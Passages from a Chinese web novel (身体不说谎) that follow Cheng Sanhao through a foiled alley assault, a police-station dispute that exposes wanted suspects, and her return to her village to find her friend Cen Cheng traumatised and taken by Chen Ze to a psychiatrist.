并排仰躺的二人其中有一个缓慢举起了手臂,正是程三好。 “是我……” 输了二字还未出口,人就已经被许老伯拉了起来,对方满脸喜色:“哎呀,年轻就是好啊,你是不是对老板过去的事迹感到好奇?来,我接着给你讲啊。” 程三好心如止水地将自己的手臂抽离出来,认真地看着许贵,开口道:“不。” 失去抱大腿机会的许老伯悲伤地问:“为什么?” “因为,”女生走过去将地上躺尸的费知常拉起来,才回头接着说,“他赢了。” 许老伯看着二人脸上的挂彩程度,疑问大过恐惧,壮着胆子问:“可,你们的伤,还有,刚才我问谁赢了,你干嘛第一 36. 逗人 《身体不说谎》全本免费阅读 “放开我,本小姐心情……不好,你们……都不要……惹我。” 秋收完成后,《种田吧》节目组给嘉宾们放了几天假用来整理素材,确定之后的拍摄方案。 许琪趁此机会大胆约肖乐保出来,向他告白了,结果被拒绝了。 意料之中吧,她知道的,一直都知道,他只把她当做妹妹看待,是自己这么多年来念念不忘。 明明她那么清楚,但是当她听到喜欢的人对自己说出那句“我知道你是个可爱善良的女孩子,以后肯定会遇到比我更适合的人的”时,终究还是忍不住流泪。 这是一场长达近十年的明恋,所有人都看得出来她喜欢他,她又该如何释怀呢。 在人走后,她第一次去餐馆点了很多酒,想着醉了就不会痛了。 哪怕喝到吐,她还是边流泪边拿起酒瓶往嘴里塞。最后餐馆老板实在看不下去,强行扣押了酒没再上,怕最后出人命。 许琪撒泼发脾气,但是这里不是家,不会有人惯着她。 出了餐馆,她已经完全醉了,跌跌撞撞地走在人行道上。 路灯发出昏黄的光芒,正值下班高峰期,迷迷糊糊中她被好多路人撞来撞去。 等到终于感觉不混乱,她已经来到了完全陌生的地方。 她背靠着墙,勉强支撑住下坠的身体,看见自己正待在昏暗的巷子里,面前站着两个陌生男人,话也不说直接朝她走来,伸手桎梏住她,另一个则准备扒她的裙子。 许琪大脑迟钝地思考了下,猛地超前撞上其中一人的脑袋,对方吃痛当即退后。她抓住机会想跑,却被胖一点的那个男人抓住肩膀。 两个男人从始至终都不说话,只想赶紧办事然后走人,期间只听到许琪挣扎的声音。 在矮个子男人即将碰到许琪的胸脯前,突然被人从后提住衣领,随即被一个背摔丢了出去。 胖男人见此状况,抡起拳头朝着程三好的脸部袭来,被对方躲开后,还想踢腿,然而女生速度更快更猛,朝着男人的腹部就是狠狠一踢。 两人爬起来对视一眼,想也不想就准备逃跑。 程三好揪住胖子的胳膊毫不客气地就给卸了,没理会他的哀嚎,紧跟着上前抓住矮个子男人,在动手前,对方认怂道:“我不跑,我不跑!” 警察来之后,一伙人一同去到了警察局。在得知事情的原委后,警方依法拘留那两个男人十五天。 “只十五天?” 程三好听后不满意,觉得太轻了,而且看这两人那默契,怕不是第一次作案。 警察扫了她一眼,转瞬低头继续敲键盘,语气很不耐烦:“监控我们看了,旁边椅子上躺着的女生其实没受什么实质性的伤害,反而是你,要是对方起诉你防卫过当就得吃官司了。” 程三好一口气憋在胸口,身旁的手紧紧握住,她不服气,认为那二人肯定有前科,要是十五天后放他们出来,又会有哪个女孩子遭殃呢。 警察见人还不走,催促道:“笔录做完了就赶紧走啊,妨碍民警工作可是要犯法的。” “倘若,我能证明,我是正当防卫呢。”一向不好事的人说出这句话时,无人知晓那心下是多么的波涛骇浪。 被上司强制加班就已经够让这个民警不满了,现在被人缠着办事,他态度更加恶劣:“你这人怎么听不懂话,法律怎么规定的,就如何执法,难不成你要挑战法律的底线!” 程三好恍若没有看到对方发火,耐着性子说道:“不,我是要报警。” 民警简直被此人逗笑了,只当自己遇到了神经病,混不在乎地说:“什么警情?” “□□。” “……”民警沉默了会儿,索性直接不理人了,看样子是丝毫不信。 程三好咬了咬牙,听到房外靠近的车声,知晓可能是许琪的家人到了,只能无奈地去扶椅子上昏睡的人,但她绝对没有料到,来的人竟然会是江砚。 转过身的瞬间,看着对方干净利落的西装,锃亮整洁的黑色皮鞋,再与自己灰扑扑的运动鞋对比,程三好突然从中生出一种窘迫。 他永远是那么地从容不迫,而自己刚才却试图举证一个靠直觉得出的结论,更是不敢想,他与许琪会是什么关系呢。 那都不关她的事了,程三好将许琪交给上前来的江邱,不发一言地从江砚侧旁走过。 男人不明所以,只是拦住人,低头问她:“怎么了?受伤没?” 女生目视前方,语气干巴巴:“去关心许琪吧,我没事,你让开。” 江砚恍惚明白了什么,挑眉说道:“你救了我表妹,我还要感谢你呢,急什么。” 程三好觉得和他待在一起空气十分稀缺,连脑子都不正常了,得到自己想要的答案,就想撤。 “有点急事,你先让开。” 眼见女生神色微微严肃,江砚想了想退开点身体,还不忘说:“已经很晚了,就在门口等我片刻,待会儿送你回去。” 程三好恍若没听到,径直往外走。 余光里见人就站在警察局门口,江砚收回视线,那副温柔的表象彻底没了个干净,扬起西装大衣的一角落座在旁边的椅子上,架起二郎腿,双手交握于腹前,缓缓对江邱说道:“把许琪弄回车上。” 江邱当即点头,将许琪横抱起来走了出去。 值班的民警见这人一幅完全不把人当回事的样子就来气,心理怒骂道:果真是一丘之貉,让人倒胃口。 “喂,人已经接走了,你还在这干嘛?” 背靠着椅子的男人瞥他一眼,哪怕只是一瞬息,民警还是不可遏制地心一紧,他没再暴躁出声,正要起身询问情况,突然看到已经下班的所长推门进来。 “江总,这是你要的文件。” 江砚姿势没变,拿过来翻阅起来,再比对视频里的人,确认前不久发生的惨绝人寰的先奸后杀案嫌疑人正是刚才那两个欲对许琪不轨的男人。 得到想要的结果,江砚就不打算再待,站起身对着所长说了句:“你知道该怎么做。” “好的,我明白,你慢走。” 民警怔愣地看着这一切,还没反应过来就被所长呵斥道:“怎么办事的!通缉犯到眼前了还放跑掉,你踏马脑子被驴踢了!接下来停职半年,反思不好就趁早收拾东西滚蛋!” “所长我错了,以后不会了。” 所长是个直爽干练的人,最瞧不起这种不尊重职业,不认真执行的人,想到这人犯下的错误,他根本收不了口。 “你知道针对你这种失误会给整个案件带来多大的麻烦吗?又会有哪个女孩子因此受罪?算了,从今天起,你不要再来了,后续辞职相关手续他们会和你说清楚!” 民警终于意识到自己犯下的错误是多么险峻的一件大事了,慌不迭地保证:“我以后不敢了,不,是不会了,请所长再给我一次机会,真的,我错了求求你……” 所长没理会这人,飞快在群里通知了个消息,把大家伙儿叫起来加班。 “怎么办,怎么办。”民警越想越惶恐,他学历不高,没啥本事,全靠着母亲那边的一个亲戚介绍帮忙,才能找到这样的一个工作,这下被辞退了,他爸一定会打死他的,一定会的! 想到此处,他噗通跪倒在地,重重地磕头,神情后悔不已:“求求你,所长,我真的不能被辞退,求求你 37. 好险,差点暧昧上了 《身体不说谎》全本免费阅读 到达目的地后,江邱迟迟不见后座有动静,转过头一看,两人身体不知何时靠在了一起,都睡着了,毫无要醒的迹象。看着老板眉宇间少见地放松,江邱有点不忍心开口叫醒他。 前不久暗中监督江权清的兄弟报告称他越狱了,一时间竟是消失得无影无踪。 江砚连着通宵好几天,一直在探查此事,期间只是短暂地睡两三个小时,还睡得不踏实,担心江权清那个白眼狼会去报复江老爷子。 想到此处,江邱叹了口气,没想到就这么点声响,后座的人就醒了。 程三好睁开眼与旁边咫尺之间的男人对视了一眼,不约而同地移开视线。 夜深了,小区里很安静,马路上偶尔传来汽车的驰骋声,闷闷的。 优异的轿车内很暖和,隔绝了大部分噪音。 二人皆是刚醒,呼吸难免会有些加重,是睡眠不足导致的自然而然的生理反应。 程三好就是在这样及其安静的环境里听到了身侧男人发出的这种近乎不餍足的呼吸声,她竭力扭转过头,可能是车内空调开得太久的缘故,察觉到口干就下意识地伸舌头舔了下嘴唇。 然而这个动作恰好被江砚捕捉到,比起女生,其实他也没有好受多少。 狭隘的空间,暧昧的呼吸,实在是太能勾起属于男人的那不可描述的欲望。 他不自觉地抓了把碎发,像是掩饰什么情绪似的。 程三好没有久留,只是在下车前始终侧着脸不看人,说:“谢谢你们送我回来,还有,上次掉我那儿的领带我这就上楼拿回来还你,稍等一下。” “不……”江砚刚要开口说不用了,对方砰地已经关上车门离开。 没过几分钟,去而后返的女生打开车门却没有钻到车里,只是站在门边,伸手递出那条领带,对后座上的人说:“给,洗得可干净了,放心使用,当然……” 程三好笑了下才接着说,“你扔了也可以,我不会介怀。” 江砚这会儿已经冷静下来了,他不好让人一直保持这个动作,只能接过来,摩挲着领带开口说:“我会好好使用的。” 虽然可能是假话,但是程三好还是因为这句话感到一点隐约的开心,她也说什么,只是低头从挎包里拿东西。 江砚这个角度看不太清楚,刚要开口要微信,对方甩出一沓毛爷爷,自信地对着他晃了晃。 “钱,都在这儿了。”程三好见他神情,还特别贴心地问,“怎么了?我不是说了我会负责嘛,你不用太感动,我都知道的。” 江砚看她这一番操作,有种自己吃瘪的感觉,还只能默默承受的那种。 于是他只能边点头边说:“行,回去早点儿休息吧。” 看着车子调转方向驶进黑夜,程三好的嘴角平缓下来,直到瞳孔里的影子彻底消失,才扭身进入了电梯。 那时她没有想到,接下来发生的事会那般猝不及防,那般令人心碎。 …… 离开程三好所在的小区后,江砚毫无睡意,索性拿过一旁的笔记本开始工作。 副驾驶座的人发出一声声难受的嘤咛,期间还断断续续地说:“别碰我——我好——伤心的,失恋了——呜呕。” 江邱频频投去关心的目光,但江砚全程都漠然着脸,恍若没有看见。 到了许琪的公寓后,江邱扭头一看,人已经醒了。 “这是哪儿啊?”倒是还很迷糊。 “你家。” 后座轻飘飘地传来这么两个字,惊得许琪连酒都醒了,她满脸惊恐转头,愣愣地看了半响,记忆铺天盖地的涌来,明白是怎么回事了。 “多谢——表哥送我回来。” 说完这句话后可能想起了伤心事,又淹了吧唧地垂下了头。 看着笔记本的男人似乎完全没听到她的话,又或者是压根不关心她,许琪有点委屈,但经历过一些事,好歹有所成长,硬生生憋回去,只是说:“那我回去了。” 她正要伸手打开车门,就听到后面的人说:“以后不要去陌生的地方喝酒,不是每一次都能那么幸运地遇到好心人的。” 不但没有想象中的安慰,反倒还被“教训”一通,许琪情绪有点上头,没有理会他就打开车门下车,却看见了早早等候在外面的江邱。 他递过手中的东西,小声提醒道:“这是醒酒药,回去要吃,不然明天早上会头痛,这是暖胃的粥,吃了再睡觉。” 许琪面对这关心,差点绷不住泪腺,没想到下一秒就听江邱补充说:“你别看你表哥好似漠不关心,实际上是想要你长点记性,这些也是他吩咐我买的,所以你看,他还是很担心你的,不然也不会放下工作来这么远的地方接你不是吗?” 他说完,见眼前这人眼泪像断了线的珍珠一样流个不停,只能诚惶诚恐地说:“哎呦,我的许大小姐,别哭了,我怕老板认为我欺负你,回头扣我工资可咋办,就当是为了我,赶紧上去洗个澡乖乖地睡一觉,明天太阳依旧会升起,没什么过不去的坎儿。” 江邱的语气就像老妈子一样絮絮叨叨,许琪破涕为笑,模仿着他的语气小声说:“好的,那我上去了,你说的对,明天太阳会照常升起。” “对对对,就是要这样积极地想,快去睡个美美的觉吧。” 许琪笑容更大了,转身的瞬间飞快说了句“谢谢你”。 见人进了大厅,江邱宛若完成了什么巨大任务一般挺胸抬头地走到车边,动作利落地入座。 他启动引擎的同时,偷瞄了一眼后视镜,见老板对待工作那么认真,莫名地感到欣慰。 因为他自诩自己是一块砖,哪里需要哪里搬,没有他,这世界早晚要散,成就感就是他人生最大的追求。 被叫起来加班的警察们一直到后半夜才陆陆续续地回家,期间进进出出的人都会扫一眼大堂前台处瘫坐在地上的那个民警。 那么多的人,谁也没有在他身上停留片刻,倒是有好奇者会向所长打探情况。得知情况后不久,一传十,十传百,大家都知道了,然而竟是无一人站出来替他说句话,搏个情。 地面很冰凉,民警感觉膝盖很刺痛,可都不敌别人落在他背上的目光来得恐怖和心寒。 他求饶过很多遍,在彻底绝望后,他就没再挣扎,保持着一个动作久久未动弹。 反正回去后都要被打死,他还不如死在这里呢。 吵闹的警察局办公厅恢复了寂静,最后走的一个人像是没有看到他,咔哒地将所有的灯都熄灭了。 月光惨淡地透过窗子投射到屋子里,那微弱的亮光甚至离民警远远的。 他的年纪不大,可以说还正值青年,得到最多的教训就是不停地挨打,尽管他并没有做错什么。 畸形的成长环境造就了他猜忌、暴躁、狗仗人势的各种性格特点,当最后的一根浮木也被摧毁后,也许他就真的没什么顾忌的了。 民警撑在地面的手缓缓握成一个拳头,死沉的眼睛最后瞥了一眼监控。然后就像个无事人一样站起来,趔趄了几步走到电脑旁,将某段监控拷贝到自己的u盘里,然后就这样大摇大摆地出了警局。 …… 程三好第二天早上是被一阵接一阵 38. 故人旧事 《身体不说谎》全本免费阅读 从记忆中脱离出来的程三好放下手机,盯着窗外的远景看了几秒。 也许,是时候,该去拜访一下故人了。 两百八十公里,五个小时的大巴,中间仅仅在一个服务区有所暂停两到三分钟,司机师傅就急忙启动了车子,上厕所的旅客差点掉车,要不是有熟人作陪,出声提醒师傅的话。 像程三好他们这种孤身出门的人,几乎没有喝水,就怕这种情况出现。 以前在农村生活的时候,倘若要进城的话,就只能坐这种客车。 可能是好久未坐的缘故,她上车没大会儿竟然有点晕车,只能紧紧靠着车窗,闭着眼睛试图睡一觉。 从繁华都市的一角穿过大半个城市,路况由最开始平缓的柏油公路到狭窄弯曲的单车道山路,颠簸太盛,程三好不断地掐自己虎口,调节心情,就怕一不小心吐出来。 听到车内渐渐传来的哄闹声,她知道客车站就要到了,刚要松了一口气,司机师傅的一个猛转弯,带着她往侧旁撞了下,还未直起腰,就急忙掏出早已准备好的黑色口袋。 从早上到晚上,一天下来什么都没吃,连水都少喝,尽管胃早已抗议得痉挛,但此刻程三好还能乐观起来,心想还是有点用的,而且吐出来就舒服了。 她低着头,双手捧着个袋子,这样苦中作乐想着。余光里突然伸过来一只白皙的手,手上拿着纸巾。 程三好接过来到了声“谢谢”,对方全程没发一言。 车子到站,旁边的人拿起小提包下了车,空位上还残存着她的香味,好像不是香水,而是洗衣凝珠的那种味道,不过分浓郁。 程三好等到车子里的人都走光了,才不急不慢地下了车,拿上行李箱拖着走了几步,来到一个稍微空旷的地方。 她抬头,呼吸着新鲜空气,看着浩渺夜空。 不论是过去,还是现在,正在经历困苦或者难过时,陌生人给于的这一点的善良,都好像化作了无形的力量,又可以支撑着她往前再走一步。 稍作停顿,程三好从小县城车站出来,接着步行了两公里,到达了一个叫九寨沟的村落。 村口旁边就是一条宽大的公路,一直延伸进黑夜,看不到尽头。 距离上次踏足这块土地,已经有两年了,变化还挺大的,比如路边这个二十四小时营业的便利店。 她只瞄了一眼,刚要转身往村子里走,突然听到身后有人喊了声她的名字。 “程三……好,是你吗?” 女生侧过头,看到了一个剃着寸头站在便利店门口的男生。 她嘴唇微张,眼角先一步有了笑意,语气有些惊喜:“陈泽?” 程三好认出了人,没管行李箱,快走几步,话难得多说几句。 “你怎么在这儿?” 陈泽也笑,露出两颗虎牙,他皮肤微黑,衬得笑容更灿烂几分,“我还想问,你怎么在这儿呢?” 程三好已经到了他的跟前,解释说:“其实我是来找孙阿姨的,有点事儿想请她帮忙。” 然而这句话却让面前的男生脸色肉眼可见地变了,笑容变得有些勉强。 “这样啊……阿姨她现在应该还没休息,你现在——” 他的话说到一半就说不下去了,神情复杂中参着更大更深的痛苦似的。 看到陈泽的异样,程三好心里顿时变得有点不安,开口问人:“到底,发生什么事了?” “……这都怪我,”男生眉头紧皱,语气渐渐激动起来,“是我,是我害了她,都是我的错……” 他的话越说越小,最后索性双手抱头,缓缓蹲在了地上。 程三好随之蹲了下去,听到他还在魔怔似的不停说“我错了”,“是我害了她”之类的话,觉得这样下去也不是事儿,刚想扶他起来,却在听到此人的下一句话语后,僵在了原地。 “岑橙,我……害死了她。” 农村不比城市,夜幕下的七八点早已变得安安静静,更何况临近寒冬,昼短夜长,天黑得更快了。 村里也没有路灯,黑漆漆的什么也看不见,只有公路上零星的几盏,发出微弱的光芒。 经过这条公路的汽车少之又之,半晌也不见得跑上一辆。 是以,周遭很安静。 那句轻飘飘的话语却像闷雷般砸在程三好的耳边,掀起了狂风暴雨,不断地撕扯她的心脏。 “呵……”女生安静了一会儿,突然笑出声,然后就像没事人一样站起来,语气轻松地说,“陈泽,你们骗人的手段也太老旧了吧,什么年代了,还搞这种恶作剧。” 她拍了拍手,接着又低头拍了拍裤子上的灰,说:“对了,岑橙呢,她应该是这骗局的主谋吧,赶快让她出来,我饿了一天了,你们就这么对待我这个朋友啊?” 她自顾自的说了很多,一点也不像她的性格,如果岑橙在这儿的话,肯定会神情夸张地找出手机拍照记录起来。 陈泽听到最后,狠狠地一咬牙站起来,转过身就走,甚至不与程三好视线交流。 “跟我来吧。” 看着人的背影,程三好面色看不出喜乐,只是不自觉地握紧手跟了上去。 走的方向是朝村里的,看着这熟悉的建筑,她认出来是孙阿姨的家。 陈泽站在小院的外面,面对紧锁的大门,毫不迟疑地从羽绒服里拿出钥匙打开了门。 看到这一幕,程三好内心微微诧异。两年前她来这儿的时候,陈泽还得站在院外喊阿姨开门,才能进去呢。 进入到小院,陈泽不再往前走,只是让开身体站在侧旁,示意女生看院落一角。 那里是家里堆放大水缸的位置,而扒着水缸边沿、背对着大门处的人正是岑橙。 看到人还在的一瞬间,程三好几近虚脱般地深呼吸了一下,心想他们果真是骗自己的。 高兴之余,她已经想不了那么多了,快走几步来到好友的背后,轻轻拍了她一下,笑着说:“你们真是没良心啊,没准备接待宴就算了,竟然还搞这……这处,你怎么瘦成这样?” 被她拍肩膀的人转过身来,那杂乱的头发,瘦削的脸颊,惊恐的眼神,无不让程三好陌生。 “三好,未来你想做什么?” “嗯……没想好。” “啊?那,就没有点梦想之类的?”岑橙一震惊,差点将吃的苹果丢了出去。 十五岁的程三好闻言,歪头还认真想了想,然后就继续晃动翘起来的腿,咬着狗尾巴草坚定地说:“没有诶。” 旁边盘腿 39. 物是人非 《身体不说谎》全本免费阅读 回忆里的背影渐渐与眼前之人重合,酸涩苦楚的滋味从心脏一路攀爬至咽喉。 程三好想努力吐出个字,可最终只是握紧了身侧垂落的手。 陈泽见人沉默,主动打破安静,轻拍了下她的肩膀说:“先进屋,外面凉。” 这时房门从里面打开,探出身子的人正是孙翠,当年帮过程三好,在程家做过三年保姆的孙阿姨。 她听着外面的动静,心想大半夜的还有谁拜访,待看清院落里的人,神情僵住,半晌才说:“三好?” 女生点头应了一声,连忙上前几步,握住孙翠的手,说:“是我,阿姨。” “你怎么来之前不先说一声?我……什么都没准备,还有——” 孙翠缓过神来后,明显喜悦大于惊讶,刚要热情地招待程三好进屋,突然瞥见不远处水缸旁的女儿,想到什么似的止住了话头。 她暗自看了眼女生的神色,最终只是叹了口气拉住人往屋里走去。 陈泽全程站在一边,见她们进去,才走向岑橙。 院子里只有一棵树,一棵梨树,它笔直,高大,一直延伸至屋檐,枯叶落在了地上,瓦片上,萧瑟的秋风一吹,卷向了远方,销声匿迹。 明天就是立冬,天空的月亮在乌云散去后露出它真实的样貌,倾洒而下的月辉,把庭院映照得亮亮的,恍惚间,像是一汪清潭。 也许就是清潭吧,陈泽每走一步都沉重而又冰冷刺骨,但他这一点痛恐怕都不及前面女生的万分之一。 他像是行过千山万水般来到了岑橙身旁,脱下厚厚的外套给人穿上,语气温柔:“冬天要到了,再往后,日子可不好过,我给你穿上的衣服就不要再脱了,听到没有?” 岑橙空洞无神的眼睛里倒映着男生的身影,站在原地没有动。 一开始的时候,陈泽给她穿衣洗漱时,女生挣扎得厉害,甚至不惜伤害自己也不要人触碰,所以为了她的安全着想,孙阿姨和陈泽就默契地选择“不要管”。 不问她去津市后到底发生了什么?不问她为何如此?不管她白天去了哪里?不管她头发凌乱?不管她面容是否洁净?但他们像是守护神一般,一直在她身后,默默地陪伴着她。 这期间,二人会偶尔尝试对她交流,给她换下脏脏的衣服,一直到三个月后,岑橙才渐渐没那么抵触了。 八月二十号是和城里医生约见的日子,陈泽联系到某个精神科专家,打算和孙阿姨带岑橙去“看病”。 为了不让她光脚出远门,二人早早就起了床商量对策,无论如何都要让岑橙穿衣整洁,哪怕要用强硬的手段。 山头晨曦微露,空气寒凉,枝头鸟雀张开翅膀正要洗脸,底下突然传来一道急切的震动。 树干抖了抖,这只黄鸟只能急忙飞离了这片天地。 “嘘,嘘……”树下的陈泽抓住了鸡笼里的公鸡,毫不客气地捏上它的喙,堵住了那一声呼之欲出的鸡鸣。 公鸡挣扎,扑哧着翅膀,奈何难逃男生铁腕,不稍片刻功夫,它终于偃旗息鼓,被对方装进麻袋彻底制服。 孙阿姨屏住呼吸看着这一幕,抬手挥了挥眼前飞舞的羽毛,待陈泽将鸡送到柴房里确认后返,二人才猫着腰走到岑橙的房间门前。 推开门进去后,房间里还很暗,只有熹微的光芒穿透窗户投射在地面上。床上的人正闭着双眼,发出均匀绵长的呼吸。 陈泽和孙翠对视了一眼,都看懂了彼此的意思。轻点了下头,他蹑手蹑脚地靠近床边,手上拿着一双袜子。 孙阿姨放缓动作,努力不发出一点声音地揭开被子。陈泽握住女生脚踝,弯着腰给人穿袜子。 五分钟过去,左脚的袜子终于成功穿上,陈泽满头大汗,差点忘记了呼吸。他不敢放松,紧接着给女生套右脚的袜子,这个时候,床上的人突然哼了一声。 “……” 两人没有动,也不敢动。 过了一会儿,岑橙翻了个身,呼吸又均匀起来,俨然没有醒。 孙翠僵硬的身体一软,差点跪地上,下意识地摸了摸胸脯,一副差点背过去的样子。 陈泽使劲地挤了一下眼睛,汗水的辛辣都不及心脏剧烈地跳动来得刺激。二人缓了口气,又继续着动作。 袜子穿好后,接下来要穿裙子,就由孙阿姨来,而陈泽自觉地背过身去。 孙翠抬起女儿的脚,准备将裙子套进去时突然被强劲的力道推开,紧接着原先睡着的人惊恐着双眼清醒过来,开始使劲地蹬腿,手不受控制地乱挥。 “陈泽,帮忙按住人!” 男生当即转过身,擒住岑橙的两手压在她的身上,轻松地制止了她的挣扎。 女生的神情很痛苦,可那样地撕心裂肺竟然全压抑在身体里,完全不吭声。 她的上半身不能动,下半身的双腿也被自己的母亲死死地束缚住。 陈泽扭过头,努力不去看身下人的表情,决定狠心到底。直到女生突然发出了一声呜咽,他忽略不了,下意识回头,看到女生绝望的眼睛里溢满眼泪,嘴唇翕动,无声地说着: 不要。 “好了,好了,”陈泽将人拉起来抱住,不断地轻拍怀里人的背,“我们不做了,别怕……” 孙翠停下动作,看着手中的裙子发愣,半晌,抬眼撇了一眼床上依偎着的两人,放下东西,轻手轻脚地离开了房间。 男生没有放开人,而是改用手摸了一下女生的后颈,又摸了一下她的脑袋,像安抚受伤的幼兽一般,不断地抚摸。 他抱人抱得紧,两人之间半点缝隙也无,女孩子的身体反应真真切切地反应给了他。 从刚才开始,岑橙就一直在发抖,她颤一次,陈泽便跟着疼一次。 阳光照射进屋里,一束光打在二人身上,村里的人陆陆续续开始出门干活,院子外传来牛羊的叫声。 陈泽不曾放手,不停地低语:“没事了,乖,别怕,我再也不会强迫你做不喜欢的事,再也不会了。” 怀里的人在他的安抚下身体渐渐放松,可能是男生语调太温柔,抑或是抚摸的动作太过舒适,女生不自觉地闭上眼睛再度睡了过去。 陈泽低头看着胸前的人,静静地看了片刻,然后将人放倒床上,给她仔细盖好被子,转身开门出去了。 看着孤零零地站在院子里的人,他愣了一下,不敢想,孙阿姨这是一直等在外面吗? 由于一直保持着一个动作,他肩膀酸得不行,这会儿看到外面的光景,才发现可能已经过了两三个小时了,而岑橙的母亲也极有可能一直这么站着。 “孙姨,”他喊了一声,见人转过身来,才带安慰地说道,“回去休息吧,慢慢来,不着急。” “……嗯,不着急。”哪怕她已经极力掩饰了,但陈泽还是能看出她刚才哭过。 他也不戳穿,只是走过去 40. 我背她去 《身体不说谎》全本免费阅读 “真的没关系吗?” 孙翠听完陈泽所说的方法,神色心疼却又充满无力感。 “真的没事,我一个成年人背起她轻而易举,再说了,去医院的路上大多时候都是坐车,走路的时候几乎没有,所以问题不大。” 陈泽久违地露出笑容,见孙阿姨没有说话,就继续说道:“机会难得,我们不试一试怎知没有用呢?最起码得搞懂小橙到底是怎么了,也算是个交代了,不是吗?” “……”孙翠不再有所顾虑,点头道,“好,我们一起去。” “欸,好的。” “但是,她会同意吗?”孙阿姨想到关键的地方。 陈泽笑了笑,露出两颗虎牙:“我有办法。” 女生不懂去大城市是什么意思,她几乎只跟着男生,只要他在,她什么时候都是那副安安静静的样子。 这会儿趴在水缸边发呆,好似没有听到身后两人的对话。看着眼前突然出现的两颗野山楂,岑橙没有表情的脸上终于松动了些,正要伸手去拿,对方突然往后撤。 陈泽见她看过来,语气跟哄小孩子一样说道:“野山楂太小了,我想要带你去城市里,那里有这——么大,像核桃一般大的山楂,红彤彤的,超级好吃。你要不要去?” 他的眼睛里满是希冀,神情十分真诚,岑橙像是难以理解他的话一样歪了下头。男生见她有所反应,缓缓接着说道:“大大的红山楂味道是甜的,不像野山楂那般涩嘴,我会买给你吃,很多,很多,回来后呢,我还会带你去那个你心心念念的山坡,乖小橙,听到了吗?” 女生不等他说完突然撞进了他的怀里,伸手有点鲁莽地去抢那两颗山楂果。 陈泽被撞得踉跄一下,急忙稳住身子,将人抱了个满怀,他由着人在自己的怀里找东西,扭头冲不远处的孙翠比了个手势。 简单收拾了一下行李,二人准备启程去城里。 从乡下去镇上有五公里,平日里,大家都是只有赶集的那一天才会去,而且也只有那一天有跑车的师傅。 出门那天下起了雨,也不是赶集的日子。陈泽没有车,但是他的爸爸有一辆三轮车,可以送他们去。 三轮车是敞篷的那种,陈泽全程横抱着人坐在自己的怀里,用衣服下摆包裹住女生的脚,而另一边坐着的孙阿姨则撑着一把大伞帮他们挡雨。 路上行人不多,雨滴在雨伞上的声音格外清脆,岑橙靠在陈泽的怀里,被对方用大衣结结实实地遮着,雨淋不到,风刮不到,十分温暖。 她微微抬头,朝上方的男生看去,刚要打量,谁知对方察觉到她的动作,低下头与她对视,轻语:“怎么了?” 大伞是黄色的,伞下的人神情是温柔的。 岑橙眉头一皱,突然用头狠狠地撞在男生的胸膛前,然后,静止不动了。 陈泽“嘶”了一声,显然被撞得不轻。 他缓了缓,也没指责人,反倒开心道:“喜欢撞人?也成,只要你给我反应,不管什么都成。” 到达镇上后,三人乘坐大巴车进城,当然,全程五个小时,女生一直侧着身坐在陈泽腿上,中途不乏有好事之人的窃窃私语,但是男生从始至终都没有理会。 下了车后,陈泽轻搭着岑橙的一只手臂将人背起来,感觉到她的紧张,于是出声安抚:“乖小橙,别怕,我在,抱紧我的脖子,没关系的。” 说着歪头去蹭了蹭人,然后拉住女生的双脚塞到自己腹前,用外衣裹住,不让她有半点受凉的可能。 待人不发抖了,他才开始走。 找医院,排队挂号,等待问诊,全程陈泽都背着人,没有休息,也没有叫一声苦。 因为他们是第一次来这个医院,所以地形也不熟悉,就不得不到处找地方,爬楼梯,孙阿姨跟在旁边一直上上下下,自己都有点撑不住,更遑论背着一个人的男生了。 看着男生满头大汗,孙翠实在不忍心,开口说道:“要不先把小橙放下来,我们休息一下。” 陈泽粗粗地吐出一口气,混不在乎地说:“没事,医院里人多,太吵,小橙有点怕,我不想松手。” 他将人颠了颠,继续说:“我刚才看到了指示牌,精神科门诊室就在三楼,号我们已经挂上了,接下来就去找这个地方就成。” 电梯无论何时都是满员的状态,加上陈泽不想让别人有触碰到岑橙的机会,所以只能走步梯。 走廊长椅上都是人,或坐着或站着,几乎没有空位,于是只能站着等待。 他们拿到的号是三十,排在他们前面的还有十人。 陈泽手臂开始不自觉地发抖,双脚也有点打颤,汗水打湿了他的衣服,浇透了他的黑发。 孙翠瞧着这一幕,默默地转过身抹眼泪。 “请三十号患者岑橙到精神科3F_301就诊,请三十号患者到……” 广播声刚响起,陈泽就背着人进入了诊室,孙阿姨带上东西证件紧随其后。 专家是一个看上去年龄在四十五岁左右的女人,听着动静,抬头看了过去。 陈泽对上医生的视线,点了下头,然后才将岑橙从背上放下来,抱在自己的腿上。 张医生看到这一幕,也没说什么,看着电脑核对信息:“患者岑橙,是吧?” “对。”男生应答。 张医生“嗯”了一声,接着不急不慢地说道:“一周前,我给你打过电话,还记得吗?” “记得。” “你是叫……陈泽,是吧?” “你怎么知道?” 张医生转过椅子对着他们,不刻意卖弄,直接了当:“其实我不认识你们,而是我多年未联系的师爷突然打电话给我,让我帮这个忙。” 陈泽满脸问号,说:“你师爷,我认识?” 张医生:“……” 她咳嗽了一下,心想敢情她师爷也没跟这孩子通个气,人家倒是胆子挺大,直接跑过来了。 “他名字叫俞骁翁,就你们隔壁村的,老中医了,这么说应该认识吧。” 陈泽一愣,没想到是俞老先生,虽然他去过他的诊所开过中药,但是他为何这般做? 他刚要问,一旁安静的孙阿姨突然出声:“俞老先生?” “对。”张医生说道。 孙翠激动地一拍手,语气惊奇:“怪不得他愿意帮这个忙,小橙曾经说她找了个兼职,就是帮个老中医上山挖药材,我当时没怎么上心,心想孩子想怎么样都成,没想到是帮俞老先生。” 张医生又是淡淡地“嗯”了一声,看得出来此人性情并不热络。 陈泽见状,开门见山说道:“俞老先生的恩情我们记下了,烦请医生您看一下我怀里的女生,可否有什么方法能帮助她回归以前的样子。” 他不说“她生了什么病”,而是像在照顾着怀里女生的情绪一般,尽管她可能也不懂。 “你具体向我说一下,她这样的表现是从何时开始? 41. 被爱着的滋味 《身体不说谎》全本免费阅读 在回乡下之前,他们真就买到了核桃般大小的山楂果,岑橙肉眼可见地更加乖顺,所以归途一路顺风。 通过这次经历,陈泽和孙翠算是稍微放下了心,就像医生所说的那样:把时间交给女生,能做的就是等待。 往后的几天里,他带岑橙去了那棵山楂树下,给她说一些他们小时候的事情。 “你记不记得,读小学二年级时,有一次我尿裤子了,全班人都在笑,我也在哭,结果你跟个小大人似的站出来让他们不要笑,然后拉上我去找老师换裤子。第二天我特别害怕上学,觉得丢脸,结果你没有一点嫌弃我,来我家门前大声叫我,拉上我一起上学,只要中途有人笑话我,你都会呛回去,气势上压得那些人不敢再多说我一句不好……我至今都记得你牵起我的手那一刻的温度,小小的,温暖的。” 男生说道此处,握住女生的手轻轻地摩挲,神情缱绻,缓缓接着说:“我会等你,无论多久。” 